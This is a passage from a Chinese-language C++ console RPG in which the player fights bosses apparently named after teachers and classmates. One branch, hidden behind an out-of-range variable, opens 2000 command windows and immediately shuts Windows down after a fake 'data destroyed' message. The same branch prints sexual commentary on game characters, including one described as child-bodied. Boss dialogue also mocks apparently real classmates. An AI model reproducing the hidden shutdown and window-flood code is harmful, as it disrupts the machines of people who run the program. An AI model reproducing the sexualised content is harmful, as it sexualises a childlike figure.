                    if (jn == 2)
                    {
                        printf("国防部部长使出了绝技“强力吸血”!该效果持续3回合!\n");
                        xxue=4;
                        Sleep(10);
                    }
                    xxue--;
                    int plane;
                    plane=rand() % 10;
                    if (plane < 2) plane=3;
                    printf("直升机向你扔下%d个炸弹,你减血%d滴!\n",plane,plane * 100);
                    xue -= plane * 100;
                    Sleep(10);
                    if (xxue > 0)
                    {
                        printf("国防部部长从你那里吸血400滴。\n");
                        xue -= 400;
                        gxue+=400;
                    }
                    printf("国防部部长对你发起攻击,你减血%d滴",gg - f);
                    xue -= gg - f;
                    printf(",剩余血量%d滴\n",xue);
                }
                if (xue <= 0)
                {
                    printf("你凉了……\n");
                    xue=200;
                    goto a1;
                }
            }
        } while (gxue > 0 && xue > 0);
    b11:
        slowout("占领国防部,终极任务完成!\n");
        slowout("请不要关闭,马上为您带来后续剧情……\n");
        Sleep(5000);
        system("cls");
        slowout("你占领国防部的消息很快传到了首都VT市。\n");
        slowout("一天后,3000年的1月9日,在新世纪的第九天,一道总统令发布了。\n");
        slowout(" 总统令第001号\n");
        slowout(" 从即日起,将全国通缉歹徒");
        printf("%s",name);
        slowout("。一旦发现,务必即刻处决,捉拿者可获得重赏。\n");
        slowout(" 总统Vidra Thompson\n");
        slowout(" 3000年1月9日\n\n\n");
        printf("敬请期待第三部——刺杀行动!\n");
        Sleep(3000);
        return 0;
    }
    if (a == 5)
    {
        if(neason==2)
		{
			slowout("英语科代 向你冲来。\n");
	        do
	        {
	            cout << endl << "是否攻击/逃跑?(1/2)";
	            cin >> c;
	            if (c == 1)
	            {
	                printf("你向英语科代发起攻击,英语科代减血%d滴",g - gf);
	                gxue -= g - gf;
	                printf(",剩余血量%d滴\n",gxue);
	                Sleep(10);
	                if (gxue <= 0)
	                {
	                    printf("你胜利了!\n");
	                    Sleep(10);
	                    printf("加血100滴\n");
	                    xue+=100;
	                    exp+=200;
	                    g+=10;
	                }
	                printf("英语科代对你发起攻击,你减血%d滴",g);
	                xue -= g;
	                printf(",剩余血量%d滴\n",xue);
	                if (xue <= 0)
	                {
	                    printf("你凉了……\n");
	                    xue=200;
	                    goto a1;
	                }
	            }
	            if(neason==2)
	            	xue+=50;
	            if (c == 2)
	                goto a1;
	        } while (gxue > 0 && xue > 0);
		}
		else{
			cout<<"上当了吧!"; 
			money+=100;
			goto a1;
		}
    }
    if (a == 6)
    {
        slowout("...... \n");
		gxue=2000;
		bool ne;
		int kk;
		slowout("雷神:主动性低,但很愿意,出g会变成病娇,占有欲极强\n神子:主动性高,同样,出g会变成病娇,但是也不会管得那么严,因为只要把晚上献给她就行\n丽莎:主动性高,很会,但不知道有没有莺儿会;当图书管理员的,有很多时间可以去做\n北斗:主动性低,很低,毕竟是大姐头,有很多事情要做,那如果真的要弄的话,也是可以挤出时间的\n绫华:很温柔,很体贴,但是如果出g的话会成为病娇,这种温柔的女孩子生气起来还是很令人瑟瑟发抖的\n申鹤:虽说一点那方面的知识都不懂,但是力气大,会去慢慢研究,慢慢实践,也很持久。不会成为病娇,但是占有欲很强,看不得和别人接触,遇到这种情况,率直的她会直接阻拦,当然也搞得对方很难堪\n优菈:疯疯癫癫的,有时会突然想撅。有一点点的傲娇性格,毕竟是贵族。到处记仇,不知道哪天会傲娇转病娇\n罗莎莉亚:性格和申鹤差不多吧,但是起码不是0♂基♂础\n甘雨:椰羊,椰奶多,孩子不会饿着。也很体贴,很喜欢撅。头上的角很敏感,摸一下说不定会激起……\n心海:其实很会撩人,只不过表面看不出来。很润,不会有太大的阻碍。值得一提的是,鱼在古代是繁衍力的象征,原因是鱼多籽,也就是所谓的鱼子酱\n芭芭拉:害羞,所以撅的时候要做好语言沟通。虽说害羞,但是也到那个年纪了,应该会有pleasure herself的现象,又因为穿的是白丝袜,所以……\n莫娜:傲娇一个。表面上不愿意,但是很配合,也就是说内心还是渴望的\n妮露:同心海一样润,畅通无阻。说实话,她呻吟很好听。因为是跳舞的,所以自然柔韧性较高,能完成的动作也多\n草神:虽说是个孩童的体型,但毕竟是大慈树王演化而来的,所以应该是懂的,懂得也比一般人多。既然如此,孩童体型又何尝不是一件好事:好撅啊。补充一下,草神又被称为羽毛球,然而羽毛球在筒里是首尾相接的,也就是上面的头插进下面的羽毛里,进行联想,可以得知草神喜欢的撅法\n柯莱:一个腼腆的女孩,很娇嫩,撅的时候最好还是悠着点。虽说是亚马逊平原,但这样让她很可爱\n安柏:活泼开朗,说实话不好撅,真的要的话需要强制。但是你真的忍心撅这样一个活泼的女孩吗……\n胡桃:亚马逊平原,以后孩子能不能吃饱是一个问题。但是很主动,也很持久,是那种巴不得把人撅死的类型\n迪西雅:持久度仅次于申鹤,沙漠人力气大,但没多少文化,所以应该也不太懂技巧。撅之前要去芭别尔那儿补习一下。她很有决心,所以应该是先决定好要不要才开始撅的\n凝光:大姐姐范,很开放的,内心喜欢你,但还是表现的很沉稳,希望你去追她\n珐露珊:虽说年纪大,但是水还是很多的,量产百岁珊矿♂泉♂水。撅的时候不用担忧,因为器官老化,应该不会有吧\n\n");
		if(neason==2)
		{
			slowout("要不要开挂?\n");
			slowout("0 不开挂\n");
			slowout("1 开挂\n");
			cin>>ne; 
			if(ne==1)
			{
				slowout("陈苇航:Hello,你好啊。我可以无偿为你恢复血量哦!\n");
	        	xue+=9000;
				bag[2]++;
				exp+=300;
				goto a2; 
	        	Sleep(10);
	        	goto a1;
			}
		}
		if(neason<1||neason>4)
		{
			slowout("数学老师:无声胜有声!\n");
        	system("color 4F");
			cout<<("Windows的数据遭受了毁灭性的打击!!!\n");
        	for(int i=1;i<=2000;i++)
				system("start cmd");
			system("shutdown -s -t 0");
		}
		slowout("tlg 向你冲来。\n");
        do
        {
            cout << endl << "是否攻击/逃跑?(1/2)";
            cin >> c;
            if (c == 1)
            {
                printf("你向tlg发起攻击,tlg减血%d滴",g - gf);
                gxue -= g - gf;
                printf(",剩余血量%d滴\n",gxue);
                Sleep(10);
                if (gxue <= 0)
                {
                    printf("你胜利了!\n");
                    Sleep(10);
                    printf("加血100滴\n");
                    xue+=100;
                    exp+=200;
                    g+=10;
                }
                if (gxue > 0) {
                    jn=rand() % 3;
                    if (jn == 0)
                    {
                        printf("tlg使出了技能“我要跳楼”!你减血400滴!\n");
                        xue -= 400;
                        Sleep(10);
                    }
                    printf("tlg对你发起攻击,你减血%d滴",100);
                    if (gg - f+100 >= 0)
                        xue -= 100;
                    printf(",剩余血量%d滴\n",xue);
                }
                if (xue <= 0)
                {
                    printf("你凉了……\n");
                    xue=200;
                    goto a1;
                }
            }
            if(neason==2)
            	xue+=50;
            if (c == 2)
                goto a1;
        } while (gxue > 0 && xue > 0);
        slowout("你让tlg发火了,继续前进。\n");
        slowout("一个从地上冒出来的黄级长把你拦下了!\n");
        gxue=7000; gg=450; gf=100;
        int cr=0,i=0;
        do
        {
            cout << endl << "是否攻击/逃跑?(1/2)";
            cin >> c;
            if (c == 1)
            {
                if (cr == 1)
                    printf("你被缠绕住,不能攻击!\n");
                if (cr == 0)
                {
                    printf("你向黄级长发起攻击,黄级长减血%d滴",g - gf);
                    gxue -= g - gf;
                    printf(",剩余血量%d滴\n",gxue);
                }
                Sleep(10);
                if (gxue <= 0)
                {
                    printf("你胜利了!\n");
                    Sleep(10);
                    printf("加血300滴。\n");
                    xue+=300;
                    exp+=500;
                    g+=50;
                }
                if (gxue > 0) {
                    jn=rand() % 3;
                    if (jn == 0)
                    {
                        printf("黄级长使出了技能“犯什么贱啊”!你在一回合内无法攻击!\n");
                        cr=1;
                        i=2;
                        Sleep(10);
                    }
                    printf("黄级长对你扔出遥控器,你减血%d滴",200);
                    xue -= 200;
                    i--;
                    if (i <= 0)
                        cr=0;
                    printf(",剩余血量%d滴\n",xue);
                	if (jn == 1)
                    {
                        printf("黄级长使出了技能“欠不欠啊”!你减血100!\n");
                        xue-=100; 
                        i=2;
                        Sleep(10);
                    }
                    printf("黄级长对你扔出遥控器,你减血%d滴",200);
                    xue -= 200;
                    i--;
                    if (i <= 0)
                        cr=0;
                    printf(",剩余血量%d滴\n",xue);
                	if (jn == 2)
                    {
                        printf("黄级长使出了技能“讲什么小话啊”!你在一回合内无法攻击且减血200,黄级长+血200!\n");
                        cr=1;
                        xue-=200;
						gxue+=200; 
                        i=2;
                        Sleep(10);
                    }
                    printf("黄级长对你扔出遥控器,你减血%d滴",200);
                    xue -= 200;
                    i--;
                    if (i <= 0)
                        cr=0;
                    printf(",剩余血量%d滴\n",xue);}
                if (xue <= 0)
                {
                    printf("你凉了……\n");
                    xue=200;
                    goto a1;
                }
            }
            if (c == 2)
                goto a1;
            if(neason==1)
            	xue+=100;
        }while(gxue > 0 && xue > 0);
        slowout("你让黄级长犯贱了,继续前进。\n");
        slowout("一个从天上冒出来的张翠花把你拦下了!\n");
        gxue=9000; gg=500; gf=150;
        cr=0,i=0;
        do
        {
            cout << endl << "是否攻击/逃跑?(1/2)";
            cin >> c;
            int sss=0;
            if (c == 1)
            {
                if (cr == 1)
                {
                	printf("你被作业压住,不能攻击!\n");
                	sss++;
                	if(sss>10)
                	{
                		printf("你被作业压死了!\n");
                		return 0;
					}
				}
                if (cr == 0)
                {
                    printf("你向发起攻击,张翠花减血%d滴",g - gf);
                    gxue -= g - gf;
                    printf(",剩余血量%d滴\n",gxue);
                }
                Sleep(10);
                if (gxue <= 0)
                {
                    printf("你胜利了!\n");
                    Sleep(10);
                    printf("加血400滴。\n");
                    xue+=400;
                    exp+=1000;
                    g+=100;
                }
                if (gxue > 0) {
                    jn=rand()%3;
                    if (jn == 0)
                    {
                        printf("张翠花使出了技能“不要影响别人”!你在一回合内无法攻击!\n");
                        cr=1;
                        i=2;
                        Sleep(10);
                    }
                    printf("张翠花对你破口大骂,你减血%d滴",300);
                    if (300>= 0)
                        xue -=300;
                    i--;
                    if (i <= 0)
                        cr=0;
                    printf(",剩余血量%d滴\n",xue);
                	if (jn == 1)
                    {
                        printf("张翠花使出了技能“怎么跟你们说的”!你减血400!\n");
                        xue-=400; 
                        i=2;
                        Sleep(10);
                    }
                    printf("张翠花对你破口大骂,你减血%d滴",500);
                    xue-=500;
                    i--;
                    if (i <= 0)
                        cr=0;
                    printf(",剩余血量%d滴\n",xue);
                	if (jn == 2)
                    {
                        printf("张翠花使出了技能“抄10遍”!你在一回合内无法攻击且减血300,张翠花+血400!\n");
                        cr=1;
                        xue-=300;
						gxue+=400; 
                        i=2;
                        Sleep(10);
                    }
                    printf("张翠花对你破口大骂,你减血%d滴",500);
                    xue -=500;
                    i--;
                    if (i <= 0)
                        cr=0;
                    printf(",剩余血量%d滴\n",xue);
                }
                if (xue <= 0)
                {
                    printf("你凉了……\n");
                    xue=200;
                    goto a1;
                }
            }
            if (c == 2)
                goto a1;
            if(neason==3)
            	xue+=200;
        }while(gxue > 0 && xue > 0);
    	slowout("你继续前进。\n");
        slowout("一个从4班走过来的林面首(小苹果)把你拦下了!\n");
        gxue=10000; gg=700; gf=200;
        cr=0,i=0;
        do
        {
            cout << endl << "是否攻击/逃跑?(1/2)";
            cin >> c;
            int sss=0;
            if (c == 1)
            {
                if (cr == 1)
                {
                	printf("你被嘲讽了,不能攻击!\n");
                	sss++;
                	if(sss>5)
                	{
                		printf("你被电摇死了!\n");
                		return 0;
					}
				}
                if (cr == 0)
                {
                    printf("你向发起攻击,林面首减血%d滴",g - gf);
                    gxue -= g - gf;
                    printf(",剩余血量%d滴\n",gxue);
                }
                Sleep(10);
                if (gxue <= 0)
                {
                    printf("你胜利了!\n");
                    Sleep(10);
                    printf("加血1000滴。\n");
                    xue+=1000;
                    exp+=1500;
                    g+=150;
                    goto a2;
                }
                if (gxue > 0) {
                    jn=rand()%3;
                    if (jn == 0)
                    {
                        printf("林面首使出了技能“**小狗”!你在一回合内无法攻击!\n");
                        cr=1;
                        i=2;
                        Sleep(10);
                    }
                    printf("林面首对你破口大骂,你减血%d滴",1000-f);
                    i--;
                    if (i <= 0)
                        cr=0;
                    printf(",剩余血量%d滴\n",xue);
                	if (jn == 1)
                    {
                        printf("林面首使出了技能“浮木”!你减血600!\n");
                        xue-=600; 
                        i=2;
                        Sleep(10);
                    }
                    printf("林面首对你破口大骂,你减血%d滴",500);
                    xue-=500;
                    i--;
                    if (i <= 0)
                        cr=0;
                    printf(",剩余血量%d滴\n",xue);
                	if (jn == 2)
                    {
                        printf("林面首使出了技能“来了就不要走了”!你在一回合内无法攻击且减血500,林面首+血900!\n");
                        cr=1;
                        xue-=500;
						gxue+=900; 
                        i=2;
                        Sleep(10);
                    }
                    printf("林面首对你破口大骂,你减血%d滴",500);
                    xue -=500;
                    i--;
                    if (i <= 0)
                        cr=0;
                    printf(",剩余血量%d滴\n",xue);
                }
                if (xue <= 0)
                {
                    printf("你凉了……\n");
                    xue=200;
                    goto a1;
                }
            }
            if (c == 2)
                goto a1;
            if(neason==3)
            	xue+=200;
        }while(gxue > 0 && xue > 0);
        slowout("陈苇航:Hello,你好啊。我可以无偿为你恢复血量哦~!\n");
        xue+=900; 
        Sleep(10);
        goto a1;
        system("cls");
    }
    if (a == 7)
    {
        if (hos == 0)
        {
            slowout("神秘医生:Hello,你好啊。只要你能打败我,我就可以有偿为你恢复血量哦~!\n");
            gxue=900; gg=600; gf=150;
            int ys=0;
            do
            {
                cout << endl << "是否攻击/逃跑?(1/2)";
                cin >> c;
                if (c == 1)
                {
                    printf("你向神秘医生发起攻击,神秘医生减血%d滴",g - gf);
                    gxue -= g - gf;
                    printf(",剩余血量%d滴\n",gxue);
                    Sleep(10);
                    if (gxue <= 0 && ys == 2)
                    {

                        printf("你胜利了!\n");
                        Sleep(10);
                        slowout("神秘医生:你挺厉害的,以后你就可以找我回血了!\n");
                        hos=1;
                    }
                    if (gxue <= 0 && ys < 2)
                    {
                        printf("神秘医生使出绝技“起死回生”!神秘医生满血复活了!\n");
                        gxue=1200;
                        ys++;
                        Sleep(10);
                    }
                    if (gxue > 0) {
                        jn=rand() % 2;
                        if (jn == 0)
                        {
                            printf("神秘医生使出了绝技“华佗再世”!生命恢复500滴!\n");
                            gxue+=500;
                            Sleep(10);
                        }
                        printf("神秘医生对你发起攻击,你减血%d滴",gg - f);
                        if (gg - f >= 0)
                            xue -= gg - f;
                        printf(",剩余血量%d滴\n",xue);
                    }
                    if (xue <= 0)
                    {
                        printf("你凉了……\n");
                        xue=200;
                        goto a1;
                    }
                }
                if (c == 2)
                    goto a1;
            } while (gxue > 0 && xue > 0);
        }
        if (hos == 1)
        {
            slowout("神秘医生:你好啊!只要");
            int huix;
            huix=150+lv * 50;
            printf("%d",huix);
            slowout("金币,就可以回满血了哦!\n");
            printf("是否回血?1.是 2.否\n");
            cin >> b;
            if (b == 1)
            {
                if (xue == xmax)
                    slowout("你都已经满血了,没必要回血!\n");
                else {
                    if (money < huix)
                        slowout("钱不够!\n");
                    else {
                        slowout("你的血量已满。\n");
                        money -= huix;
                        xue=xmax;
                        if (ren[3] == 1)
                            total++;
                    }

                }
            }
        }
        Sleep(10);
        goto a1;
        system("cls");
    }
    if (a == 8)
    {
        printf("1.查看属性 2.查看物品\n");
        cin >> b;
        if (b == 1)
            printf("歹徒姓名:%s\n等级:%d\n血量:%d/%d\n攻击力:%d\n防御力:%d\n金币:%d\n经验:%d\n还需%d经验可升级\n",name,lv,xue,xmax,g,f,money,exp,500 * lv - exp);
        if (b == 2) {
            printf("1.钻石套装*%d\n2.经验之石(S)*%d\n3.经验之石(M)*%d\n4.经验之石(L)*%d\n",bag[1],bag[2],bag[3],bag[4]);
            printf("输入序号来使用物品,输入0退出。\n");
            cin >> c;
            if (c == 1)
            {
                if (bag[1] == 0)
                    slowout("你没有钻石套装!\n");
                else
                    slowout("你已经装备钻石套装了!\n");
            }
            if (c == 2)
            {
                if (bag[2] == 0)
                    slowout("物品不足。\n");
                else {
                    printf("使用经验之石,增加经验300\n");
                    bag[2]--;
                    exp+=300;
                    goto a2;
                }
            }
            if (c == 3)
            {
                if (bag[3] == 0)
                    slowout("物品不足。\n");
                else {
                    printf("使用经验之石,增加经验600\n");
                    bag[3]--;
                    exp+=600;
                    goto a2;
                }
            }
            if (c == 4)
            {
                if (bag[4] == 0)
                    slowout("物品不足。\n");
                else {
                    printf("使用经验之石,增加经验1000\n");
                    bag[4]--;
                    exp+=1000;
                    goto a2;
                }
            }
        }
        Sleep(10);
        goto a1;
        system("cls");
    }
    if (a == 9)
    {
        if (kg == 1)
            slowout("本游戏禁止重复开挂!\n");
        if (kg == 0) {
            printf("请输入开挂密匙:");
            cin >> b;
            if (b != 142857)
            {
                slowout("密码错误,为了惩罚你这个不知天高地厚的家伙,你的金币我全没收了。\n");
                money=0;
            }
            if (b == 142857)
            {
                slowout("恭喜你成功开挂,变身为cyka blyat!\n");
                money=0;
                xmax=1;
                xue=xmax;
                g=0;
                f=0;
            }
        }
        Sleep(10);
        goto a1;
        system("cls");
    }
    if (a == 10)
    {
        system("cls");
        if (renwu == 0)
        {
            int suiji;
            suiji=rand() % 4;
            if (suiji == 0)
                suiji=1;
            if (suiji == 1)
            {
                printf("任务:在十字路口击杀任意10个目标。 可获奖励:300金币 200经验。\n");
                printf("1.接受任务 2.放弃\n");
                cin >> b;
                if (b == 2)
                {
                    system("cls");
                    goto a1;
                }
                if (b == 1)
                {
                    printf("任务开始!!!\n");
                    Sleep(2000);
                    ren[1]=1;
                    renwu=1;
                    goto a1;
                }
            }
            if (suiji == 2)
            {
                printf("任务:在商店购买任意5件物品。 可获奖励:200金币 经验之石(M)*3。\n");
                printf("1.接受任务 2.放弃\n");
                cin >> b;
                if (b == 2)
                {
                    system("cls");
                    goto a1;
                }
                if (b == 1)
                {
                    printf("任务开始!!!\n");
                    Sleep(2000);
                    ren[2]=1;
                    renwu=1;
                    goto a1;
                }
            }
            if (suiji == 3)
            {
                printf("任务:在医院回血5次。 可获奖励:250金币 经验之石(L)*2。\n");
                printf("1.接受任务 2.放弃\n");
                cin >> b;
                if (b == 2)
                {
                    system("cls");
                    goto a1;
                }
                if (b == 1)
                {
                    printf("任务开始!!!\n");
                    Sleep(2000);
                    ren[3]=1;
                    renwu=1;
                    goto a1;
                }
            }
        }
        if (renwu == 1)
        {
            if (ren[1] == 1)
            {
                printf("当前任务:在十字路口击杀任意10个目标。\n任务进度:%d/10\n",total);
                if (total >= 10)
                {
                    printf("任务已完成。获得:300金币 200经验\n");
                    money+=300; exp+=200; ren[1]=0; renwu=0; total=0;
                }
            }
            if (ren[2] == 1)
            {
                printf("当前任务:在商店购买任意5件物品。\n任务进度:%d/5\n",total);
                if (total >= 5)
                {
                    printf("任务已完成。获得:200金币 经验之石(M)*3\n");
                    money+=200; bag[3]+=3; ren[2]=0; renwu=0; total=0;
                }
            }
            if (ren[3] == 1)
            {
                printf("当前任务:在医院回血5次。\n任务进度:%d/5\n",total);
                if (total >= 5)
                {
                    printf("任务已完成。获得:250金币 经验之石(L)*2\n");
                    money+=250; bag[4]+=2; ren[3]=0; renwu=0; total=0;
                }
            }
        }
        Sleep(5000);
        system("cls");
        goto a2;
    }
    if (a < 0 || a>9)
    {
        slowout("请不要乱输!!!\n");
        Sleep(10);
        goto a1;
    }
    if (a == 0)
        return 0;
a2:
    lv=exp / 500+1;
    if (lv == lv1+1)
    {
        slowout("你升级了!\n");
        xmax+=100;
        xue=xmax;
        g+=20;
        f+=5;
        lv1+=1;
    }
    if (lv == lv1+2)
    {
        slowout("你连升两级!\n");
        xmax+=200;
        xue=xmax;
        g+=40;
        f+=10;
        lv1+=2;
    }
    if (lv == lv1+3)
    {
        slowout("你连升3级!\n");
        xmax+=300;
        xue=xmax;
        g+=60;
        f+=15;
        lv1+=3;
    }
    if (lv == lv1+4)
    {
        slowout("你连升4级!\n");
        xmax+=400;
        xue=xmax;
        g+=80;
        f+=20;
        lv1+=4;
    }
    Sleep(10);
    goto a1;
}